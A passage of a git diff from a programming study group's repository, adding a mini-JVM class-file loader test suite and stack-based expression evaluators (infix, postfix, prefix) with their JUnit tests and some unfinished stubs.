+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+		
+		System.out.println("Constant Pool:");
+		
+		
+		
+		
+	}
+}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java b/group27/383117348/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..b2128a5372
--- /dev/null
+++ b/group27/383117348/mini-jvm/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,353 @@
+package com.coderising.jvm.test;
+
+import java.util.List;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.cmd.BiPushCmd;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.OneOperandCmd;
+import com.coderising.jvm.cmd.TwoOperandCmd;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.loader.ClassFileLoader;
+import com.coderising.jvm.method.Method;
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+	static String path1 = "E:\\MyGit\\coding2017\\group27\\383117348\\bin";
+	static String path2 = "C:\temp";
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		clzFile.print();
+	}
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+    
+    /**
+     * 下面是第三次JVM课应实现的测试用例
+     */
+    @Test
+    public void testReadFields(){
+   
+    	List<Field> fields = clzFile.getFields();
+    	Assert.assertEquals(2, fields.size());
+    	System.out.println("field_size:"+fields.size());
+    	{
+    		Field f = fields.get(0);
+    		Assert.assertEquals("name:Ljava/lang/String;", f.toString());
+    	}
+    	{
+    		Field f = fields.get(1);
+    		Assert.assertEquals("age:I", f.toString());
+    	}
+    }
+    @Test
+    public void testMethods(){
+   
+    	List<Method> methods = clzFile.getMethods();
+    	ConstantPool pool = clzFile.getConstantPool();
+    	System.out.println("methods_size:"+methods.size());
+    	
+    	{
+    		Method m = methods.get(0);
+    		assertMethodEquals(pool,m,
+    				"<init>",
+    				"(Ljava/lang/String;I)V",
+    				"2ab7000c2a2bb5000f2a1cb50011b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(1);    
+    		assertMethodEquals(pool,m,
+    				"setName",
+    				"(Ljava/lang/String;)V",
+    				"2a2bb5000fb1");
+    		
+    	}
+    	{
+    		Method m = methods.get(2);    
+    		assertMethodEquals(pool,m,
+    				"setAge",
+    				"(I)V",
+    				"2a1bb50011b1");
+    	}
+    	{
+    		Method m = methods.get(3); 
+    		assertMethodEquals(pool,m,
+    				"sayHello",
+    				"()V",
+    				"b2001c1222b60024b1");
+    		
+    	}
+    	{
+    		Method m = methods.get(4);    
+    		assertMethodEquals(pool,m,
+    				"main",
+    				"([Ljava/lang/String;)V",
+    				"bb000159122b101db7002d4c2bb6002fb1");
+    	}
+    }
+    
+    private void assertMethodEquals(ConstantPool pool,Method m , String expectedName, String expectedDesc,String expectedCode){
+    	String methodName = pool.getUTF8String(m.getNameIndex());
+		String methodDesc = pool.getUTF8String(m.getDescriptorIndex());    		
+		String code = m.getCodeAttr().getCode();
+		Assert.assertEquals(expectedName, methodName);
+		Assert.assertEquals(expectedDesc, methodDesc);
+		Assert.assertEquals(expectedCode, code);
+    }
+    
+    /*第四次测试代码*/
+    
+    @Test
+    public void testByteCodeCommand(){
+    	{
+	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+	    	ByteCodeCommand [] cmds = initMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+	    	assertOpCodeEquals("4: aload_0", cmds[2]);
+	    	assertOpCodeEquals("5: aload_1", cmds[3]);
+	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
+	    	assertOpCodeEquals("9: aload_0", cmds[5]);
+	    	assertOpCodeEquals("10: iload_2", cmds[6]);
+	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
+	    	assertOpCodeEquals("14: return", cmds[8]);
+    	}
+    	
+    	{
+	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: aload_1", cmds[1]);
+	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
+	    	assertOpCodeEquals("5: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
+	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
+	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+	    	assertOpCodeEquals("8: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method mainMethod = this.clzFile.getMainMethod();
+	    	
+	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: new #1", cmds[0]);
+	    	assertOpCodeEquals("3: dup", cmds[1]);
+	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
+	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
+	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+	    	assertOpCodeEquals("11: astore_1", cmds[5]);
+	    	assertOpCodeEquals("12: aload_1", cmds[6]);
+	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+	    	assertOpCodeEquals("16: return", cmds[8]);
+    	}
+    	
+    }
+   
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+    	
+    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+    	
+    	if(cmd instanceof OneOperandCmd){
+    		if(cmd instanceof BiPushCmd){
+    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
+    		} else{
+    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+    		}
+    	}
+    	if(cmd instanceof TwoOperandCmd){
+    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+    	}
+    	Assert.assertEquals(expected, acctual);
+    }
+}
diff --git a/group27/383117348/src/com/coderising/jvm/test/EmployeeV1.java b/group27/383117348/mini-jvm/com/coderising/jvm/test/EmployeeV1.java
similarity index 100%
rename from group27/383117348/src/com/coderising/jvm/test/EmployeeV1.java
rename to group27/383117348/mini-jvm/com/coderising/jvm/test/EmployeeV1.java
diff --git a/group27/383117348/src/com/coderising/jvm/util/Util.java b/group27/383117348/mini-jvm/com/coderising/jvm/util/Util.java
similarity index 100%
rename from group27/383117348/src/com/coderising/jvm/util/Util.java
rename to group27/383117348/mini-jvm/com/coderising/jvm/util/Util.java
diff --git a/group27/513274874/data-structure/src/com/coding/basic/Stack.java b/group27/513274874/data-structure/src/com/coding/basic/Stack.java
deleted file mode 100644
index 034e4c7215..0000000000
--- a/group27/513274874/data-structure/src/com/coding/basic/Stack.java
+++ /dev/null
@@ -1,65 +0,0 @@
-
-package com.coding.basic;
-
-/**
- * author zhougd 20170306
- *
- */
-public class Stack {
-	private List elementData = new ArrayList();
-
-
-	public Stack() {
-	}
-
-	/**
-	 * 入栈
-	 * @param o
-	 */
-	public void push(Object o){
-		elementData.add(o);
-	}
-
-	/**
-	 * 出栈
-	 * @return
-	 */
-	public Object pop(){
-		if(this.isEmpty()){
-			throw new IndexOutOfBoundsException("stack is empty!");
-		}
-		Object element = elementData.get(size()-1);
-		elementData.remove(size()-1);
-		return element;
-	}
-
-	/**
-	 * 查看栈顶元素
-	 * @return Object
-	 */
-	public Object peek(){
-		if(this.isEmpty()){
-			throw new IndexOutOfBoundsException("stack is empty!");
-		}
-		Object element = elementData.get(size()-1);
-		return element;
-	}
-
-	/**
-	 * 查看栈是否为空
-	 * @return boolean
-	 */
-	public boolean isEmpty(){
-
-		return elementData == null || elementData.size()<=0;
-
-	}
-
-	/**
-	 * 获取栈大小
-	 * @return
-	 */
-	public int size(){
-		return elementData.size();
-	}
-}
\ No newline at end of file
diff --git a/group27/513274874/data-structure/src/com/coding/basic/ArrayList.java b/group27/513274874/data-structure/src/com/coding/basic/array/ArrayList.java
similarity index 96%
rename from group27/513274874/data-structure/src/com/coding/basic/ArrayList.java
rename to group27/513274874/data-structure/src/com/coding/basic/array/ArrayList.java
index 9e55e92529..7d6d7a08f2 100644
--- a/group27/513274874/data-structure/src/com/coding/basic/ArrayList.java
+++ b/group27/513274874/data-structure/src/com/coding/basic/array/ArrayList.java
@@ -1,5 +1,7 @@
 
-package com.coding.basic;
+package com.coding.basic.array;
+
+import com.coding.basic.Iterator;
 
 import java.util.Arrays;
 
@@ -78,7 +80,7 @@ public Object remove(int index) {
     }
 
     public int size() {
-        return this.size + 1;
+        return this.size;
     }
 
     public Iterator iterator() {
diff --git a/group27/513274874/data-structure/src/com/coding/basic/array/List.java b/group27/513274874/data-structure/src/com/coding/basic/array/List.java
new file mode 100644
index 0000000000..2a07c92d6e
--- /dev/null
+++ b/group27/513274874/data-structure/src/com/coding/basic/array/List.java
@@ -0,0 +1,9 @@
+package com.coding.basic.array;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/linklist/LinkedList.java b/group27/513274874/data-structure/src/com/coding/basic/linklist/LinkedList.java
index e6d400f483..245affee80 100644
--- a/group27/513274874/data-structure/src/com/coding/basic/linklist/LinkedList.java
+++ b/group27/513274874/data-structure/src/com/coding/basic/linklist/LinkedList.java
@@ -2,7 +2,7 @@
 package com.coding.basic.linklist;
 
 import com.coding.basic.Iterator;
-import com.coding.basic.List;
+import com.coding.basic.array.List;
 
 import java.util.NoSuchElementException;
 
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/Stack.java b/group27/513274874/data-structure/src/com/coding/basic/stack/Stack.java
index 4a0980079b..3b8a9eeb5a 100644
--- a/group27/513274874/data-structure/src/com/coding/basic/stack/Stack.java
+++ b/group27/513274874/data-structure/src/com/coding/basic/stack/Stack.java
@@ -1,7 +1,8 @@
 
 package com.coding.basic.stack;
 
-import com.coding.basic.List;
+
+import com.coding.basic.array.List;
 import com.coding.basic.array.ArrayList;
 
 /**
@@ -20,6 +21,7 @@ public Stack() {
 	 * @param o
 	 */
 	public void push(Object o){
+
 		elementData.add(o);
 	}
 
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/StackUtil.java b/group27/513274874/data-structure/src/com/coding/basic/stack/StackUtil.java
index e53e38ca4b..fa8a8c0325 100755
--- a/group27/513274874/data-structure/src/com/coding/basic/stack/StackUtil.java
+++ b/group27/513274874/data-structure/src/com/coding/basic/stack/StackUtil.java
@@ -1,5 +1,6 @@
 package com.coding.basic.stack;
 
+import java.util.Stack;
 public class StackUtil {
 
     /**
@@ -7,14 +8,27 @@ public class StackUtil {
      * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
      */
     public static void reverse(Stack s) {
-        Stack temp = new Stack();
-        //先清空s
-        while (!s.isEmpty()) {
-            temp.push(s.pop());
+        if(null == s || s.isEmpty()){
+            return;
         }
+        Object object = s.pop();
+        reverse(s);
+        addToBottom(s,object);
 
     }
 
+    public static void addToBottom(Stack s ,Object num){
+        if(s.isEmpty()){
+            s.push(num);
+
+        }else{
+            Object o = s.pop();
+            addToBottom(s,num);
+            s.push(o);
+        }
+    }
+
+
     /**
      * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
      *
@@ -101,7 +115,7 @@ public static boolean isValidPairs(String s) {
                     break;
                 case ']':
                     temp = (byte) stack.peek();
-                    if (temp != ']') {
+                    if (temp != '[') {
                         return false;
                     } else {
                         stack.pop();
@@ -109,7 +123,7 @@ public static boolean isValidPairs(String s) {
                     break;
                 case '}':
                     temp = (byte) stack.peek();
-                    if (temp != ']') {
+                    if (temp != '{') {
                         return false;
                     } else {
                         stack.pop();
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/StackUtilTest.java b/group27/513274874/data-structure/src/com/coding/basic/stack/StackUtilTest.java
new file mode 100644
index 0000000000..d183607f63
--- /dev/null
+++ b/group27/513274874/data-structure/src/com/coding/basic/stack/StackUtilTest.java
@@ -0,0 +1,76 @@
+package com.coding.basic.stack;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.Stack;
+public class StackUtilTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testAddToBottom() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		
+		StackUtil.addToBottom(s, 0);
+		
+		Assert.assertEquals("[0, 1, 2, 3]", s.toString());
+		
+	}
+	@Test
+	public void testReverse() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
+		StackUtil.reverse(s);
+		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
+	}
+
+	@Test
+	public void testRemove() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		StackUtil.remove(s, 2);
+		Assert.assertEquals("[1, 3]", s.toString());
+	}
+
+	@Test
+	public void testGetTop() {
+		Stack<Integer> s = new Stack();
+		s.push(1);
+		s.push(2);
+		s.push(3);
+		s.push(4);
+		s.push(5);
+		{
+			Object[] values = StackUtil.getTop(s, 3);
+			Assert.assertEquals(5, values[0]);
+			Assert.assertEquals(4, values[1]);
+			Assert.assertEquals(3, values[2]);
+		}
+	}
+
+	@Test
+	public void testIsValidPairs() {
+		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
+		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
+	}
+
+}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java
new file mode 100644
index 0000000000..ddd255e4a0
--- /dev/null
+++ b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixExpr.java
@@ -0,0 +1,98 @@
+package com.coding.basic.stack.expr;
+
+import com.coding.basic.stack.StackUtil;
+
+import java.util.Stack;
+
+public class InfixExpr {
+	String expr = null;
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {		
+
+		char[] chars = expr.toCharArray();
+		System.out.println(chars);
+
+		Stack numStack = new Stack();
+		Stack operStack = new Stack();
+		//当前数，有可能是操作数，有可能是运算符
+		String curr = "";
+		OperIterator operIterator = new OperIterator(chars);
+		int num = operIterator.nextNumber();
+		numStack.push(num);
+		while(operIterator.hasNext()){
+			int numB = 0;
+			char oper = operIterator.nextOperator();
+			switch (oper){
+				case '+':
+				case '-':
+					operStack.push(oper);
+					numStack.push(operIterator.nextNumber());
+					continue;
+				case '*':
+					numB = operIterator.nextNumber();
+					numStack.push(Double.parseDouble(numStack.pop() + "") * numB);
+					continue;
+				case '/':
+					numB = operIterator.nextNumber();
+					numStack.push(Double.parseDouble(numStack.pop()+"") / numB);
+					continue;
+			}
+		}
+
+		//清算站内数据
+		if(operStack.isEmpty()) return Float.parseFloat(numStack.pop() + "");
+
+		StackUtil.reverse(operStack);
+		StackUtil.reverse(numStack);
+		while(!operStack.isEmpty()){
+			char oper = (char)operStack.pop();
+
+			numStack.push(operate(Float.parseFloat(numStack.pop()+""),Float.parseFloat(numStack.pop() +""),oper));
+		}
+
+		return (float) numStack.pop();
+	}
+	
+	private float operate(float a,float b,char oper){
+		switch (oper){
+			case '-':
+				return a-b;
+			case '+':
+				return a+b;
+			case '*':
+				return a*b;
+			case '/':
+				return a/b;
+		}
+		return 0.00f;
+	}
+
+	class OperIterator {
+		private char[] expr ;
+		private int pos = 0;
+
+		public OperIterator(char[] expr) {
+			this.expr = expr;
+		}
+
+		public char nextOperator(){
+			return expr[pos++];
+		}
+		public int nextNumber(){
+			StringBuffer num = new StringBuffer("");
+			while(pos <= expr.length-1 && expr[pos] != '+' && expr[pos] != '-' && expr[pos] != '*' && expr[pos] != '/'){
+				num.append(expr[pos++]);
+			}
+			return Integer.parseInt(num.toString());
+		}
+
+		public boolean hasNext(){
+			return pos < expr.length-1;
+		}
+	}
+	
+}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixExprTest.java b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixExprTest.java
new file mode 100644
index 0000000000..ddb1130398
--- /dev/null
+++ b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixExprTest.java
@@ -0,0 +1,57 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("10-2*3+50");
+			Assert.assertEquals(54, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+	@Test
+	public void testConert(){
+		new InfixToPostfix().convert("2*3*4+5");
+	}
+
+}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java
new file mode 100644
index 0000000000..55eb061ce0
--- /dev/null
+++ b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/InfixToPostfix.java
@@ -0,0 +1,57 @@
+package com.coding.basic.stack.expr;
+
+import com.coding.basic.stack.Stack;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class InfixToPostfix {
+	private Stack operStack = new Stack();
+
+	public List<Token> convert(String expr) {
+
+		List<Token> infixList = TokenParser.parse(expr);
+		List<Token> postfixList = new ArrayList<>();
+		int i = 0;
+		while(i < infixList.size()){
+			Token token = infixList.get(i);
+			if(token.isNumber()){
+				//operand
+				postfixList.add(token);
+
+			}else{
+				//operator
+				if(operStack.isEmpty()) {
+					operStack.push(token);
+					i++;
+					continue;
+				}
+
+				Token topToken = (Token)operStack.pop();
+
+				if(token.hasHigherPriority(topToken)){
+					//the operator has higher priority than the arg operator
+					postfixList.add(infixList.get(++i));
+					postfixList.add(token);
+					operStack.push(topToken);
+
+				}else{
+					postfixList.add(topToken);
+					operStack.push(token);
+				}
+
+			}
+			i++;
+		}
+		//empty operStack
+		while(!operStack.isEmpty()){
+			postfixList.add((Token)operStack.pop());
+		}
+		for (Token token :postfixList){
+			System.out.print(token.value);
+		}
+		System.out.println();
+		return postfixList;
+	}
+
+}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java
new file mode 100644
index 0000000000..27b9ee9c31
--- /dev/null
+++ b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PostfixExpr.java
@@ -0,0 +1,51 @@
+package com.coding.basic.stack.expr;
+
+import com.coding.basic.stack.Stack;
+
+import java.util.List;
+
+public class PostfixExpr {
+String expr = null;
+	
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		List<Token> postfixExpr = TokenParser.parse(expr);
+
+		Stack calc = new Stack();
+		for(Token token :postfixExpr){
+			if(token.isNumber()){
+				//push number into stack until operator
+				calc.push(token.getIntValue());
+			}else {
+				//operator : pop two numbers to calculate and then push the result into stack
+				int numberA = (int)calc.pop();
+				int numberB = (int)calc.pop();
+
+				switch (token.value){
+					case "+":
+						calc.push(numberB + numberA );
+						break;
+					case "-":
+						calc.push(numberB - numberA);
+						break;
+					case "*":
+						calc.push(numberB * numberA);
+						break;
+					case "/":
+						calc.push(numberB / numberA);
+						break;
+
+					default:
+						throw new RuntimeException(token.value + " is not a operator !");
+				}
+			}
+		}
+
+		//the result is the only value in the stack
+		float result = Float.parseFloat(calc.pop() + "");
+		return result;
+	}
+}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..c0435a2db5
--- /dev/null
+++ b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PostfixExprTest.java
@@ -0,0 +1,41 @@
+package com.coding.basic.stack.expr;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(3-1)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+
+}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java
new file mode 100644
index 0000000000..956927e2df
--- /dev/null
+++ b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PrefixExpr.java
@@ -0,0 +1,18 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PrefixExpr {
+	String expr = null;
+	
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		return 0.0f;
+	}
+	
+	
+}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..5cec210e75
--- /dev/null
+++ b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/PrefixExprTest.java
@@ -0,0 +1,45 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
